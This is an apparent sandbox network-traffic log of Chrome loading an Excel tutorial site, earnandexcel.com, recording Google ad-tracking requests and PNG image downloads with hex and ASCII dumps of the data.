e6 74 08 e4 ce 2b 78 33 37 a4 f7 c2 ee 61 18 2f a2 32 dd 06 bb 2f 12 79 e3 8c 6c f0 05 26 Data Ascii: g xr2_o8T4!ur1I:Sg}3[L4WKjRy/N2S(]INRiL"ndu>Kr.'HR;y}?rQ*\|Es_gOA5vX9n[&2R:z-]roIBo'#5KG::]gHt+x37a/2/yl&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.17	49941	142.250.80.34	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1280	OUT	GET /td/rul/416707819?random=1712870809382&cv=11&fst=1712870809382&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1 HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	785	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:51 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 11-Apr-2024 21:41:51 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 21:26:51 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-04-11 21:26:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.17	49942	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	816	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&_u=YCDACEABBAAAACAAI~&z=669666256 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:51 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.17	49944	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1057	OUT	GET /wp-content/uploads/How-to-Make-Every-Other-Line-Shaded-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/png Content-Length: 77650 Connection: close CF-Ray: 872e0ea92a28c34b-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "660a7c7a-12f52" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Mon, 01 Apr 2024 09:20:58 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bYFAOCmCsRi34JIHhEbS8DzGiwnjq6qJn81HpF5m8Lb2UfCNDtg0iktGkWZtWZ8Ray8UzvH2hltd85mSNnfFC4DNNnx%2BXSSwWRdEGLu2TckopH4rKt6%2BrZA1oysDGoD3w04%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec fd 77 98 24 e7 7d df 8b 7e 2a 74 ce 3d 3d 3d 39 e7 cd 11 8b 05 b0 44 26 09 30 08 22 48 31 28 58 c9 41 96 8f 6c c9 b2 7c 2c 9f 73 7c ae 7d 25 d9 96 ed 7b 65 fb 5a c7 96 44 05 8a 94 28 e6 04 90 00 01 90 00 76 17 58 00 8b 8d 33 3b 3b 39 cf 74 4f e7 dc 5d e1 fe d1 dd 35 3d bb b3 09 dc 59 60 c9 fe 3e cf 3c 58 f4 54 57 bd f5 56 cd fb 7d 7f e9 fb 13 84 5f dd a5 53 81 2c 4a 1c ea de 45 c0 e9 e5 e5 89 b7 48 e6 d2 d4 51 47 1d 75 d4 51 47 1d b7 1f 42 2d 01 df 6d 10 05 01 51 10 51 35 15 bd fe 2c eb a8 a3 8e 3a ea b8 9b 38 ec 6e 1d b8 55 36 f3 cb 0f 7c 8c ff cf 27 ff 25 ed be e6 fa 93 ac a3 8e 3a ea a8 e3 ae 82 fc 5e 1b 90 cd 64 61 b8 a5 Data Ascii: PNGIHDRIDATxw$}~*t===9D&0"H1(XAl\|,s\|}%{eZD(vX3;;9tO]5=Y`><XTWV}_S,JEHQGuQGB-mQQ5,:8nU6\|'%:^da
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 5d f7 fa d9 62 be fe 04 eb a8 a3 8e 3a ea f8 f1 21 60 01 90 25 19 4d d7 af 19 83 05 18 6e ee e5 73 bf f2 fb 78 ec 2e 7e f5 2f ff 0d 2f 8c bd b6 e5 71 05 a5 c8 73 17 4f e0 b5 b9 78 7e ec 24 f9 52 f1 9a e7 4c e6 d3 7c f5 f4 f7 eb 4f a6 8e 3a ea a8 a3 8e 9f 3c 02 be bf 7f 3f bf 72 ec 69 5e 9f 39 cf 9f bf fa 55 0a ca d6 49 4e 66 d9 84 db ee c2 65 75 60 33 59 ae 79 11 55 d3 f8 d3 57 be cc df 9e 7a 86 54 21 8b a2 29 f5 99 af a3 8e 3a ea a8 a3 4e c0 9b 3e 10 25 9e da ff 28 3f 7f ef 47 d8 dd 36 c0 37 de 7e 91 95 44 78 cb 2f 5f 5c 9e e4 1f fc e5 bf c1 66 b6 f2 f2 e5 37 af 7b a1 82 52 a2 a0 24 ea 33 5e 47 1d 75 d4 51 47 1d 5b 11 b0 aa 69 bc 34 7e 8a 7d 9d c3 bc 3a 71 9a 54 3e 73 cd 2f e7 4b 05 be 7f 0d b7 73 1d 75 d4 51 47 1d 75 d4 71 6d 6c a9 84 25 89 12 6e ab 83 Data Ascii: ]b:!`%Mnsx.~//qsOx~$RL\|O:<?ri^9UINfeu`3YyUWzT!):N>%(?G67~Dx/_\f7{R$3^GuQG[i4~}:qT>s/KsuQGuqml%n
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 84 80 dd 56 07 c9 7c e6 9a d6 ef c3 43 f7 f0 d0 d0 61 bc 76 17 ff e3 a5 bf b9 26 01 8f ad 4c f1 f3 7f fa bf 23 8a 22 63 cb d3 d7 bd a8 aa 6b e4 4a f5 9d 68 1d 75 dc cd c4 bb af 7d 88 a0 d3 cf 52 34 c4 fe ce 61 ce cc 8f 93 c8 a5 de 93 e3 15 04 01 87 c9 86 45 32 11 cb a7 c8 2a f9 fa 43 ac e3 dd 27 e0 8f ec 7d 88 bf 39 f5 cc 96 b5 75 aa a6 f2 e5 b7 9e c3 69 b5 73 72 ea 2c b1 6c f2 9a 27 2a a9 0a e7 97 26 ea 33 5a 47 1d 3f e6 70 5a ec 34 d8 3c 1c ed d9 4b bb af 89 97 c7 df e2 a1 91 7b 98 58 9b 7b cf 12 70 95 84 65 51 c6 6f 73 23 e4 05 b2 a5 7c 3d fc 55 c7 bb 4b c0 d9 62 fe 9a af a0 0e 9c 98 3a c3 5b 73 a3 14 95 52 bd 2d 60 1d 75 fc 24 2f 16 a2 c4 de f6 21 ee ed d9 cb d8 d2 14 6d de 20 99 42 8e 36 5f 90 54 2e 83 a6 69 78 6c 2e 92 b9 d4 7b 96 d6 ca e5 4c 12 7e Data Ascii: V\|Cav&L#"ckJhu}R4aE2C'}9uisr,l'&3ZG?pZ4<K{X{peQos#\|=UKb:[sR-`u$/!m B6_T.ixl.{L~
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 93 f8 1c 2e a2 99 04 0e 8b 9d 82 52 a4 a4 94 6e 39 cb f9 76 42 14 04 2c b2 99 80 64 42 12 44 f2 4a 81 42 36 56 77 51 ff 24 12 f0 b7 7f e3 7f f0 e6 ec 05 7e e7 cb ff e5 9a 4a 57 e9 42 86 b9 c8 32 ba ae 13 a9 24 3c 5c 6b f7 fb f2 e5 b7 38 3e f9 f6 5d f5 07 5d 47 1d 3f 6e 68 70 78 91 04 11 41 14 f0 d8 9c 78 6c 4e 3a fd 2d dc d3 b3 0b 45 55 c9 16 f3 c4 32 09 96 13 61 66 d6 97 98 0a 2d 30 1b 59 66 2d 19 21 96 49 92 57 8a a8 ef d1 bf 61 87 c5 86 d7 ee e4 c5 d1 d7 b8 b0 38 89 24 8a d8 4d 56 00 1e df 75 94 91 d6 3e 96 62 6b 1c ea d9 c9 7a 3a 8e 2c ca 14 4a 45 7e e3 f1 9f 25 91 4d 91 2e e4 78 7d ea 1c 63 2b d3 db e6 09 10 04 01 f4 6b c7 7d cb fd 8f cb ff 36 4b 66 cc 92 4c a1 5e 12 fa 93 47 c0 7b da 07 91 25 09 9f c3 7d 4d 02 9e 8b 2c f3 2b 7f f1 7f 61 91 cd 46 f9 Data Ascii: .Rn9vB,dBDJB6VwQ$~JWB2$<\k8>]]G?nhpxAxlN:-EU2af-0Yf-!IWa8$MVu>bkz:,JE~%M.x}c+k}6KfL^G{%}M,+aF
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 1e dd 71 2f a7 a6 cf b3 92 08 23 8b 12 43 2d 3d 3c b9 e7 18 f3 91 15 b2 37 a1 8d 20 89 12 83 c1 2e 96 13 61 2e ae 4c 6e db 78 45 41 c0 22 99 d1 74 bd 1c b7 af bb bc df db 04 6c 35 59 68 f1 04 48 e4 d2 86 00 7a 1d 75 d4 f1 de 81 24 8a ec 6e ed bf ca 7a cd 64 32 64 b3 59 e6 e6 e6 f0 f9 7c 38 1c 0e c3 1d ed f3 f9 90 24 89 96 96 16 3c 1e 0f a3 a3 a3 48 92 b4 ad e3 14 04 01 59 92 71 55 49 d9 d7 cc a1 ae 9d 28 9a 4a a6 98 23 96 49 b2 18 5b 63 2e b2 c2 64 68 be 5c ca 93 08 93 c8 a5 c9 17 0b a8 ef 41 19 47 4d d7 99 5c 9b e3 a1 91 c3 f4 35 75 b0 9e 8e 31 d2 da cb 53 07 1e e5 f2 ea 2c cf 5d 38 71 53 65 5c d1 4c 82 97 c6 4e b1 af 6b 98 82 5a 64 32 34 ff 23 8f cd 22 99 70 98 6c e4 d5 12 79 a5 80 2c 4a 78 2d 2e ac b2 19 5d d7 c9 ab 45 f2 4a 81 74 31 57 27 e2 f7 22 01 Data Ascii: q/#C-=<7 .a.LnxEA"tl5YhHzu$nzd2dY\|8$<HYqUI(J#I[c.dh\AGM\5u1S,]8qSe\LNkZd24#"ply,Jx-.]EJt1W'"
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: b2 19 04 e6 b5 b8 30 49 32 45 55 21 5b ca a1 ea 5a c5 fa 14 d1 74 8d 4c 29 7f cd 9a 6f 01 81 5a 85 6c 01 c1 e8 47 ad eb e5 77 b8 4a bc 52 e5 bf 62 c5 72 17 04 61 93 c0 cb 8d de c9 ea ef cd 15 b2 76 98 6c 68 ba 66 90 b5 8e 5e 26 75 5d 23 af 14 49 14 d2 77 9c 88 e5 b5 64 84 ff ed 0b bf 8f d3 62 67 25 11 ae 07 e0 eb a8 e3 2e 85 c3 6c 67 77 db c0 55 0b 93 6e 2c 46 3a 32 3a 17 16 d2 9c 99 4b f1 d8 de 66 9e 3c d0 4a 2c 1e a7 24 d9 b1 b9 5a 59 cf 65 58 8a ae 50 48 8f 21 0b 1a 3e 9f 0f 8f cb 89 c7 e3 c1 ed 2e 5b af b2 2c df 70 f1 53 55 95 6c 36 4b 6f 6f 2f 76 bb 1d 87 c3 81 df ef 67 65 65 85 ee ee 6e 1a 1a 1a 48 a7 d3 c4 62 31 46 47 47 b1 58 2c b4 b4 b4 dc 3e 4b 4a 10 90 25 09 59 b2 61 37 db 68 f1 36 b2 ab 6d 00 4d d7 28 28 25 12 d9 14 ab c9 08 0b d1 15 26 2b 8d Data Ascii: 0I2EU![ZtL)oZlGwJRbravlhf^&u]#Iwdbg%.lgwUn,F:2:Kf<J,$ZYeXPH!>.[,pSUl6Koo/vgeenHb1FGGX,>KJ%Ya7h6mM((%&+
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 63 00 93 24 b3 ab b5 bf 92 c0 b2 81 4c 26 83 d9 6c 66 cf 9e 3d 46 22 d4 d4 d4 14 b1 58 0c 9f cf 67 64 26 b7 b5 b5 1a d9 ca 99 4c 86 78 3c 41 32 95 22 b9 3e 43 4a d1 28 14 15 dc 36 f9 1d a9 63 09 82 40 2c 16 e3 c2 c5 31 9c 4e 07 5e 8f 87 60 30 88 cd 66 43 57 4a 94 4e 7c 97 d4 b7 9e c7 32 bc 1f e7 fd ef 47 6a 68 41 b8 05 19 4c 5d d7 99 9d 9d e5 d9 67 bf 8b 28 89 c8 92 84 dd 6e 27 18 6c a2 b5 b5 85 d6 d6 56 1a 1b 1b 09 04 02 38 9d ce 5b 96 d8 ac de 83 49 32 61 b2 99 70 db 9c f4 04 da 38 da bb 77 a3 65 63 a5 46 79 36 b2 cc 54 68 81 85 e8 0a ab c9 75 52 f9 2c f9 52 e1 8e b4 6c d4 d1 59 4d ac 1b ff ff cd b7 7f 80 ae eb 98 65 13 5f 7b eb 05 d6 92 11 0a a5 12 0f 0e dd 83 20 1c e4 e4 e4 59 0a a5 02 20 90 2d 16 e8 f0 b7 10 cf 26 99 5b 5f a6 2b d0 8c db e6 62 7c 65 Data Ascii: c$L&lf=F"Xgd&Lx<A2">CJ(6c@,1N^`0fCWJN\|2GjhAL]g(n'lV8[I2ap8wecFy6ThuR,RlYMe_{ Y -&[_+b\|e
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: f8 e2 3a aa 2e a2 ea 02 b9 74 02 5d 2d 61 93 c0 a6 17 90 d4 02 08 02 6a 32 4e 71 e2 3c ae 63 4f 62 de 7b 1f b2 b7 01 64 d3 a6 73 5e 8f ec 57 56 56 50 55 95 96 96 16 23 09 6b d7 ae 5d 9b c6 66 b3 d9 d8 bd 7b 37 af bf fe 3a 7f f3 37 7f c3 f0 f0 30 fb f7 ef e7 c8 91 23 86 95 bc 9d 0b bc 2c 48 c8 16 1b 0e 8b 8d 96 4a 39 94 a2 a9 14 94 22 f1 6c 8a 50 32 5a 16 0d 59 5f 64 3a bc c8 4a 22 4c 24 1d 27 5b cc 6f 4b cb c6 4d 73 a8 6b a8 15 42 9c 8b 2c 97 c7 0d 7c fd f4 8b 08 82 40 9b b7 89 7d 5d c3 04 dd 7e 66 c3 4b 68 ba 86 dd 6c 23 e8 f6 b3 18 5d 45 d3 35 d6 53 71 7c 36 3f 1f da f3 08 6b c9 30 f1 6c 92 3d 1d 03 7c e5 8d ef 13 74 fb b9 7f 60 3f 00 c7 86 0e f0 77 a7 be 87 ae eb f4 34 b6 73 7c e2 34 c9 5c 06 9b c9 52 11 52 79 77 fa 0d 18 9e 20 a8 94 50 99 c9 2b 05 72 Data Ascii: :.t]-aj2Nq<cOb{ds^WVVPU#k]f{7:70#,HJ9"lP2ZY_d:J"L$'[oKMskB,\|@}]~fKhl#]E5Sq\|6?k0l=\|t`?w4s\|4\RRyw P+r
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ed c1 3c 7c 00 c1 e6 a8 30 8d 84 65 68 2f a5 e5 59 8a 33 e3 58 47 0e 22 7a 1b ae 49 7a e5 32 a7 30 0b 8b 8b 9c 3d 7b 96 6c 2e 47 67 67 27 a2 28 6e e9 4e ae 22 9d 4e 93 4a a5 68 6c 6c 64 69 69 89 b9 f9 79 da db da c8 66 b3 94 8a 45 04 e0 e5 97 5f 46 d7 21 91 88 33 33 33 c3 85 0b 17 e8 ee ee 36 2c 66 59 96 0d 37 fb ed ca a6 be 55 88 82 b8 d1 1d ca e1 a6 2f d8 c1 b1 81 03 14 d5 12 d9 62 9e f5 54 ac 4c ca e1 45 a6 d7 97 98 5b 5f 22 54 ed a3 7c 9b 49 b9 4c b6 b3 84 53 31 16 a3 ab 86 24 67 49 55 98 58 9b 63 62 6d ce 38 f6 d4 cc 05 22 e9 38 2d de 20 eb e9 18 17 97 a6 50 2b 1d 9c 72 c5 02 3d 8d 1d bc 3e 75 9e 78 26 cd ce b6 3e 66 d7 97 90 24 81 7b fa f6 11 70 fa 08 ba fc 74 f8 9b 78 78 f8 1e 72 a5 3c fd a5 2e 1e 19 3e ca 85 c5 71 3e b8 fb 01 c6 56 a6 39 3d 3b c6 Data Ascii: <\|0eh/Y3XG"zIz20={l.Ggg'(nN"NJhlldiiyfE_F!3336,fY7U/bTLE[_"T\|ILS1$gIUXcbm8"8- P+r=>ux&>f${ptxxr<.>q>V9=;
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ff 3e 33 2f bd 84 c9 e9 44 00 cc 76 3b 9e ce 4e fc fd fd 34 8c 8c e0 ef ef c7 dd d1 81 cd ef c7 64 b7 23 54 b2 be af 37 17 b5 aa 5f 5e af d7 88 89 b7 b5 b5 a1 aa 2a 03 fd fd 2c 2e 2e 6e 76 93 8b 22 3e 9f cf f8 fe ed 86 a6 69 c4 e3 71 fa fb 07 b0 5a 6d 24 12 71 96 97 57 88 c7 63 58 2c 16 a3 9d a3 cb e5 c2 e9 74 62 b1 58 36 65 b2 bf 53 af 08 80 cd 64 c1 66 2a 5b ca bb db 07 d0 34 95 5c a9 40 22 97 66 25 1e 66 be a6 8f f2 52 3c 44 b4 52 a3 bc dd dd a1 54 5d 23 95 cf 90 ca 97 eb 70 97 a2 6b 8c 0a 53 80 ce f7 ce 9f 40 96 24 1a 1c 1e 5a bd 41 7a 1b db 58 88 ae 20 08 a2 91 15 6d 91 cd f8 1d 5e 46 97 a7 98 8b 2c 93 ca 67 8d b2 28 bb c5 ca 63 3b ef a5 a7 b1 83 f5 54 9c 43 dd bb 39 31 f5 36 01 97 8f 07 06 0f b2 9e 8e f1 95 33 cf c3 6d bc c5 3a 01 d7 51 c7 5d 8c 7d Data Ascii: >3/Dv;N4d#T7_^,..nv">iqZm$qWcX,tbX6eSdf[4\@"f%fR<DRT]#pkS@$ZAzX m^F,g(c;TC9163m:Q]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.17	49945	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1045	OUT	GET /wp-content/uploads/How-to-Find-the-P-Value-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	910	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/png Content-Length: 37857 Connection: close CF-Ray: 872e0ea9debc8c0c-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "66095c68-93e1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sun, 31 Mar 2024 12:51:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QQOVwe%2FglVS2MXea2TL%2FuJWxu%2B80TjQy2D4NjBtdwTueqZj98%2FwupTs%2BvwVo5KRYhAESqz0NZZMsvtSHKs91ounfthqvRCZxZXyClB5%2Bnqlxi9EyJKEGs8jgKHiSDRSnuXk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	459	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec 9d 77 78 5d 57 95 b7 df 53 6e 6f ea 5d b2 24 5b 72 ef 3d b1 1d a7 f7 5e 08 49 80 d0 4b 08 0c 65 60 60 66 f8 60 68 03 0c 65 80 a1 77 02 09 84 90 5e 1d 27 8e ed b8 f7 22 17 59 b6 7a af 57 b7 9f f6 fd 71 e5 6b cb 92 1c 3b 71 95 f6 fb 3c 37 4f ac 7b ee 3e e7 ec 53 7e 7b ad bd f6 5a 12 0f 2d b4 10 08 46 01 aa ac f0 81 f9 37 f2 d9 25 f7 e0 77 7a 44 87 08 04 82 0b fb 9d 25 ba 40 30 5a d0 4d 83 47 b6 bd 82 43 b1 f1 d0 e2 db 85 08 0b 2e 72 2c 40 07 0c d1 15 42 80 05 82 0b 9f 88 16 e3 37 9b 9f 43 37 0d 3e 75 c9 9d 78 6c 4e d1 29 6f 81 a2 28 48 92 74 e6 64 c3 b2 b0 2c 0b d3 34 45 e7 be 83 6b 02 3a a6 f9 38 96 b5 75 40 8c 05 42 80 05 82 Data Ascii: PNGIHDRIDATxwx]WSno]$[r=^IKe``f`hew^'"YzWqk;q<7O{>S~{Z-F7%wzD%@0ZMGC.r,@B7C7>uxlN)o(Htd,4Ek:8u@B
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 25 b2 e8 02 c1 a8 16 61 5d e3 0f 1b 9f e7 2b cf ff 8a ee 48 50 74 88 e0 bc 88 aa 40 20 04 58 30 26 d1 0c 9d 3f 6e 7c 81 6f bd fc 07 fa a2 21 d1 21 e7 90 b1 6c fd 1a 86 4e 6f 5f 2f ed 1d ed c4 62 31 71 33 08 86 20 1c 1b 82 31 41 4c 4f f0 ab 37 9f c2 61 b3 f3 a5 ab df 87 d7 21 26 d5 4e 47 1c 2d cb 22 16 8b 21 49 12 0e 87 e3 94 7f 6b 59 d6 49 b7 35 4d 13 4d d3 90 65 19 55 55 07 6d fb 56 bf 3d 93 16 ea f1 c7 70 66 c4 d7 a0 a6 a6 86 dd 7b 77 13 89 46 99 36 79 1a 33 67 ce 7c 4b 97 ff c5 3c 60 31 e2 d0 13 06 af 0f 9c 36 f1 ce 39 91 44 14 fa 82 e0 cb 04 87 92 9c df 17 02 2c 18 33 44 b4 38 3f 79 e3 71 62 bd bd 2c 09 4c c6 86 0d 4f 46 31 d3 e7 4e 22 43 8a 53 57 bd 87 aa ba 6e 1c 9e 2c a6 cc 99 49 be df c1 c5 6c bf e9 ba 9e 74 7f 4a 12 0c 88 d9 f1 73 b2 a7 1b b0 d5 Data Ascii: %a]+HPt@ X0&?n\|o!!lNo_/b1q3 1ALO7a!&NG-"!IkYI5MMeUUmV=pf{wF6y3g\|K<`169D,3D8?yqb,LOF1N"CSWn,IltJs
